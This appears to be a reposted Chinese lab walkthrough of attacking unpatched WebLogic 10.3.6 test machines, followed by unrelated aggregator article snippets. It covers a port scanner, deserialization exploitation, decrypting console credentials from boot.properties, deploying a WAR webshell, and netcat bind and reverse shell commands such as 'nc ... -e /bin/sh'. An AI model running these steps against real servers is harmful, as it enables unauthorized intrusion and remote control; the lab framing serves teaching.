Web渗透实验：基于Weblogic的一系列漏洞

1. 攻击机windows10 192.168.2.104

2. 靶机ip:

　　192.168.2.109(linux Ubantu)

　　192.168.2.111(windows2008R264位)

第一步：启动靶机服务

image.png

image.png

分别为linux和windows

windows环境搭建：

　　链接：https://pan.baidu.com/s/16KyYb1v1rP9uJ6-5MBotVw
　　提取码：9ti4

第二步：发现weblogic服务

当我们拥有客户授权的情况下，一般采取nmap,masscan甚至是Python自己编写的端口扫描工具，各有优缺。

网上开源很多，这里从网上拿来一款开源的扫描器（基于python2）。

代码如下：

# -*- coding: utf-8 -*-import optparsefrom threading import *from socket import *screenLock=Semaphore(value=1)def connScan(tgtHost,tgtPort):try:connSkt = socket(AF_INET,SOCK_STREAM)connSkt.connect((tgtHost,tgtPort))connSkt.send('ViolentPython\r\n')results=connSkt.recv(100)screenLock.acquire()#打印前的加锁操作。print ('[+.+] %d/tcp 开启'% tgtPort+'   '+str(results)).decode('UTF-8').encode('GBK')# print ('[+.+] '+str(results))connSkt.close()except:screenLock.acquire()print ("[-.-] %s/tcp 关闭"%tgtPort).decode('UTF-8').encode('GBK')finally:screenLock.release()#终止阻塞其他线程前需要执行的代码。connSkt.close()def portScan(tgtHost,tgtPorts):try:tgtIP=gethostbyname(tgtHost)except:print ("[-.-] 报告老大不能解析目标 '%s': 未知目标"%tgtHost).decode('UTF-8').encode('GBK')returntry:tgtName=gethostbyaddr(tgtIP)print ('\n[+.+] 已经获得目标地址:'+tgtName[0]).decode('UTF-8').encode('GBK')except:print ('\n[+.+] 已经获得目标地址:'+tgtIP).decode('UTF-8').encode('GBK')setdefaulttimeout(1)for tgtPort in tgtPorts:t=Thread(target=connScan,args=(tgtHost,int(tgtPort)))#多线程t.start()def main():print ("皮皮虾正在探路请耐心等待...").decode('UTF-8').encode('GBK')parser=optparse.OptionParser('usage %prog -H' +'<target host> -p <target port>')parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')parser.add_option('-P',dest='tgtPort',type='string',help='specify target post')(options,args)=parser.parse_args()tgtHost = options.tgtHosttgtPorts = str(options.tgtPort).split(',')if (tgtHost==None)|(tgtPorts[0]==None):print ('[-.-] 老大你忘了输入目标地址和端口啦.').decode('UTF-8').encode('GBK')exit(0)portScan(tgtHost,tgtPorts)if __name__ == '__main__':print ("欢迎使用本扫描器，我是皮皮虾").decode('UTF-8').encode('GBK')main()

具体编写指南可以参考原文链接，适合刚开始学习python的朋友们

https://bbs.ichunqiu.com/thread-40994-1-1.html

image.png

扫描结果为关闭，换个端口试试

image.png

为什么为造成这种情况呢，分析原因：

可能因为我们这个py版端口扫描是调用的socket模块，给端口发送一些垃圾数据，如果服务端返回数据才代表我们这个端口开放，所以7001端口没有给我们想要的数据，脚本就认为它没有开放。

祭出我们强大的Nmap

image.png

发现我们服务器靶机确实是开放了7001端口的，^…^。

第三步：对weblogic服务渗透的思路

发现weblogic服务，第一反应是常见的能getshell的漏洞

比如后台弱口令，密码是base64编码的，可以用burpsuite增加编码参数，也可以用网上开源的一些工具进行爆破，然后war包部署拿shell。

再比如对weblogic的T3协议，反序列化命令执行，直接执行系统命令。

像目录样例操纵和拒绝服务这些鸡肋的漏洞我们这暂且不谈。这个靠的是渗透经验，就像上次参加一个众测，网站出现了action结尾的网址时，立马直接struts2命令执行扫了一下直接getshell菜刀连上，高危漏洞吧，当然了，跟大佬们一起挖洞众测，这么简单的漏洞，比的就是速度了，后面有空会分享一些挖洞的经验，这里暂且不提。

第四步：对weblogic服务的渗透

我们这里安装的weblogic是10.3.6，没有打补丁，也没有禁用t3协议。我们可以使用工具进行反序列化利用。

image.png

（windows）

image.png

(linux)

然后执行一系列命令查看我们入侵靶机的环境

 

image.png

image.png

因为是靶机，直接给的administrator权限，也开放了3389端口，当然了，在实战过程中，我一开始很少连接3389上去，不安全也不可靠。

常规套路，net user增加用户，给权限等，注意如果不是公网的服务器，Web服务端口是映射出来的化，我们这边还需要给我们自己这边的攻击机弹个shell,有很多工具，这里用瑞士军刀演示。

image.png

因为是windows我们先上传瑞士军刀到服务器上，然后使用命令，转发cmd到我们的攻击机上。从weblogic反序列化得到的执行权限无法反弹，所以我们需要先上传一个大马来执行命令。因为是靶机并没有部署web环境，我们再来看控制台。 

控制台密码在目录

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties

image.png

得到了加密的用户密码：

我们开始破解它

第五步：破解weblogic控制台密码

jdk安装说明：

https://www.cnblogs.com/eagle6688/p/7873477.html

破解工具：

https://codeload.github.com/NetSPI/WebLogicPasswordDecryptor/zip/master

插件:

http://repo2.maven.org/maven2/org/bouncycastle/bcprov-ext-jdk16/1.46/bcprov-ext-jdk16-1.46.jar

将插件复制到目录

C:\Program Files\Java\jdk1.8.0_201\jre\lib\ext（jdk环境）

破解 weblogic 控制台密码需要 2 个条件

SerializedSystemIni.dat 密钥文件

(c:\Oracle\Middleware\user_projects\domains\base_domain\security\SerializedSystem Ini.dat)

boot.properties 控制台用户名和密码

(C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties) 

编译下载的破解文件

Javac WebLogicPasswordDecryptor.java

image.png

破解

image.png

记住 破解的时候java和javac 版本一定要一样，如果是后面新安装的java和之前的java会冲突，需要到系统变量中修改一下，否则会出现下图的报错

image.png

破解成功之后的

账号：weblogic

密码：weblogic123

原来是弱口令，嘿嘿。所以大家下次注意，遇到这种控制台，第一反应就是去手动尝试一些弱口令。当然也可以使用暴力破解

可以使用python脚本:

https://github.com/b4zinga/Explib/blob/master/weblogic.py

有了账号密码，就是常规套路部署war包了。

/**/

制作war包大马,把大马以zip格式压缩然后重命名为xxx.war即可

1、登录控制台(以Linux靶机为例)

访问登陆控制台

http://192.168.43.22:7001/console

选择上传文件

上传我们制作的war包大马

上传的路径

然后一直下一步

激活更改

选择刚部署的项目启动

随后访问http://192.168.43.22:7001/cmd/cmd.jsp即可打开大马

image.png

（linux）

image.png

(windows)

第六步：弹shell

在windows下：

靶机执行：

nc.exe -l -p 8888 -t -e cmd.exe 

本机执行：

nc.exe -nvv 192.168.2.111 8888

image.png

在linux下：

靶机执行：

nc 192.168.2.104 8888 -e /bin/sh

本机执行：

nc.exe -lvnp 8888

image.png

我们看到-e参数报错了这是因为

Ubuntu上默认安装的是netcat-openbsd,而不是经典的netcat-traditional

sudo apt-get -y install netcat-traditional

然后sudo update-alternatives –config nc,选择2

 

image.png

Linux靶机执行:nc -vlp 8888 -e /bin/bash

image.png

本机执行：nc.exe 192.168.2.109 8888

image.png

即可成功弹shell 

第七步：横向渗透

用的比较多的是proxifier 正向代理，下一篇文件见。

*本文原创作者：zhukaiang7

转载于:https://www.cnblogs.com/Fluorescence-tjy/p/10341525.html

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/387490.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

9 月 19 日，腾讯云安全中心监测到  Apache Tomcat 修复了2个严重级别的漏洞， 分别为： 信息泄露漏洞（CVE-2017-12616）、远程代码执行漏洞（CVE-2017-12615

9 月 19 日，腾讯云安全中心监测到  Apache Tomcat 修复了2个严重级别的漏洞， 分别为： 信息泄露漏洞（CVE-2017-12616）、远程代码执行漏洞（CVE-2017-12615

9 月 19 日&#xff0c;腾讯云安全中心监测到 Apache Tomcat 修复了2个严重级别的漏洞&#xff0c; 分别为&#xff1a; 信息泄露漏洞&#xff08;CVE-2017-12616&#xff09;、远程代码执行漏洞&#xff08;CVE-2017-12615&#xff09;&#xff0c;在某些场景下&#xff0c;攻…
阅读更多...
2.0 STL泛型编程

2.0 STL泛型编程

Standard Template Library 在命名空间std中定义了常用的数据结构和算法 三种类型的组件&#xff1a; 容器&#xff1a; ——vector、string ——set、multiset、map、multimap ——list ——bitset ——stack ——deque、queue、priority_queue 迭代器 算法&…
阅读更多...
SQL联合更新

SQL联合更新

update CCTDB..Area_Infoset ParentStrb.ParentStrfrom CCTDB..Area_Info a inner join TempArea bon a.AreaId b.AreaId转载于:https://www.cnblogs.com/davidgu/archive/2012/08/10/2631289.html
阅读更多...
集合之ArrayList（含JDK1.8源码分析）

集合之ArrayList（含JDK1.8源码分析）

一、ArrayList的数据结构 ArrayList底层的数据结构就是数组&#xff0c;数组元素类型为Object类型&#xff0c;即可以存放所有类型数据。我们对ArrayList类的实例的所有的操作(增删改查等)&#xff0c;其底层都是基于数组的。 定义底层数据结构&#xff1a;Object[] elementDat…
阅读更多...
2.2 string

2.2 string

字符数组的封装 基本操作与vector很像&#xff0c;它们内部采用的都是数组结构 #include<string> 创建string对象&#xff1a; string s; 给string对象赋值&#xff1a; 方式一&#xff1a;s"i love coding"; 方式二&#xff1a; char a[256]; scanf(&qu…
阅读更多...
Unity3D 自动打包整个项目（以AssetBundle实现）

Unity3D 自动打包整个项目（以AssetBundle实现）

需求&#xff1a; 在移动开发中&#xff0c;手动控制资源的加载、释放和热更新&#xff0c;是很有必要的。 而Unity通过AssetBundle可以实现该需求&#xff0c;但是如果项目资源多起来的话一个个手动打包成AssetBundle则很麻烦。 而本文正为此提供一套一键打包的方案。 资源分…
阅读更多...
Android复制assets目录下的图片到内存

Android复制assets目录下的图片到内存

转自&#xff1a;http://www.chenwg.com/android/android%E5%A4%8D%E5%88%B6assets%E7%9B%AE%E5%BD%95%E4%B8%8B%E7%9A%84%E5%9B%BE%E7%89%87%E5%88%B0%E5%86%85%E5%AD%98.html 有些Android应用需要一些初始化数据&#xff0c;但是考虑到国内这种龟速网络和高昂的网络流量费用&…
阅读更多...
Python 2.7 cython cythonize py 编译成 pyd 谈谈那些坑（转载）

Python 2.7 cython cythonize py 编译成 pyd 谈谈那些坑（转载）

转自&#xff1a;https://www.cnblogs.com/ibingshan/p/10334471.html Python 2.7 cython cythonize py 编译成 pyd 谈谈那些坑 前言 基于 python27 的 pyc 很容易被反编译&#xff0c;于是想到了pyd&#xff0c;加速运行&#xff0c;安全保护 必要准备 安装cython&#xff1a;…
阅读更多...
2.3 set

2.3 set

#include<set> 红黑树&#xff08;Red-Black Tree&#xff09;&#xff0c;一种平衡二叉检索树。 对于插入相同键值的情况忽略处理。 set主要用于快速检索 高效的插入和删除 multiset、map、multimap都是平衡二叉检索树。 创建set集合&#xff1a; set<int> s…
阅读更多...
一、创建Assetbundle 在unity3d开发的游戏中，无论模型，音频，还是图片等，我们都做成Prefab，然后打包成Assetbundle，方便我们后面的使用，来达到资源的更新。

一、创建Assetbundle 在unity3d开发的游戏中，无论模型，音频，还是图片等，我们都做成Prefab，然后打包成Assetbundle，方便我们后面的使用，来达到资源的更新。

一、创建Assetbundle 在unity3d开发的游戏中&#xff0c;无论模型&#xff0c;音频&#xff0c;还是图片等&#xff0c;我们都做成Prefab&#xff0c;然后打包成Assetbundle&#xff0c;方便我们后面的使用&#xff0c;来达到资源的更新。 一个Assetbundle可以打包一个模型&…
阅读更多...
【JS】我的JavaScript学习之路(2)

【JS】我的JavaScript学习之路(2)

3.从JavaScript页面解析过程看执行顺序 代码(test.html)&#xff1a; <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns"http://www.w3.org/1999/x…
阅读更多...
Codeforces 862D. Mahmoud and Ehab and the binary string 【二分】(交互)

Codeforces 862D. Mahmoud and Ehab and the binary string 【二分】(交互)

<题目链接> 题目大意&#xff1a; 有一个长度为n(n<1000)的01串&#xff0c;该串中至少有一个0和一个1&#xff0c;现在由你构造出一些01串&#xff0c;进行询问&#xff0c;然后系统会给出你构造的串与原串的 Hamming distance &#xff0c;现在要求你按照步骤进行…
阅读更多...
王者荣耀提取攻略

王者荣耀提取攻略

1. 王者荣耀安装后&#xff0c;就将模型等资源解压到SD卡目录里&#xff0c;我们需要找到这个目录。模型资源存储在SD卡中&#xff0c;路径为&#xff1a;【/SDCard/Android/data/com.tencent.tmgp.sgame/files/Resources/AssetBundle/】 2. 2 所有英雄的资源包都在这个目…
阅读更多...
2.4 multiset

2.4 multiset

#include<set> multiset与set的唯一不同&#xff1a;允许插入重复的元素。 在插入元素、删除元素、查找元素上与set 有区别。 multiset元素的插入&#xff1a; multiset<int> ms; ms.insert(11); ms.insert(11); //插入两个11&#xff0c;遍历时同样有两个11。…
阅读更多...
Exchange ActiveSyn身份验证类型

Exchange ActiveSyn身份验证类型

http://www.exchangecn.com/html/exchange2010/20110125_316.html 配置 Exchange ActiveSync 身份验证 时间:2011-01-25 11:01来源:Exchange中文站 作者:Exchange中文站 点击:3045次ActiveSync 身份验证是客户端和服务器验证其身份以进行数据传输的过程&#xff0c;本文以示例的…
阅读更多...
HotSpot 虚拟机垃圾回收算法实现

HotSpot 虚拟机垃圾回收算法实现

作为使用范围最广的虚拟机之一HotSpot&#xff0c;必须对垃圾回收算法的执行效率有严格的考量&#xff0c;只有这样才能保证虚拟机高效运行 枚举根节点 从可达性分析中从 GC Roots 节点找引用链这个操作为例&#xff0c;可以作为 GC Roots 的节点主要在全局性的引用&#xff08…
阅读更多...
Java NIO编写Socket服务器的一个例子

Java NIO编写Socket服务器的一个例子

最近一直在忙着JAVA NIO的知识&#xff0c;花了一下午的时间&#xff0c;总算写出了一个可以运行的程序&#xff0c;废话少说&#xff0c;上代码&#xff01; Java代码&#xff1a; import java.io.IOException; import java.net.InetSocketAddress; import java.net.ServerS…
阅读更多...
2.5 map

2.5 map

#include<map> key/value对 采用红黑树实现&#xff0c;键值不允许重复 用法与set类似 创建map&#xff1a; map<string, float> m; m["haha"] 11.1; m["hehe"] 22.2; for (map<string, float>::iterator it m.begin(); it ! m.en…
阅读更多...
在js传递参数中含加号(+)的处理方式

在js传递参数中含加号(+)的处理方式

一般情况下&#xff0c;url中的参数应使用 url 编码规则&#xff0c;即把参数字符串中除了 “ - "、" _ " 、" . "之外的所有非字母数字字符都将被替换成百分号&#xff08;%&#xff09;后跟两位十六进制数&#xff0c;空格则编码为加号&#xff08;…
阅读更多...
二 SVN代码冲突的解决

二 SVN代码冲突的解决

问题&#xff1a; A和B都是最新的代码&#xff0c;A修改了代码提交了&#xff0c;B也修改了代码&#xff0c;但是B提交的时候出现冲突的问题。 解决方案&#xff1a;编辑冲突 解决冲突&#xff1a; 方法一&#xff1a;将文件里面冲突的描述去掉&#xff0c;重新提交 方法二&…
阅读更多...
最新文章

Copyright @ 2022~2023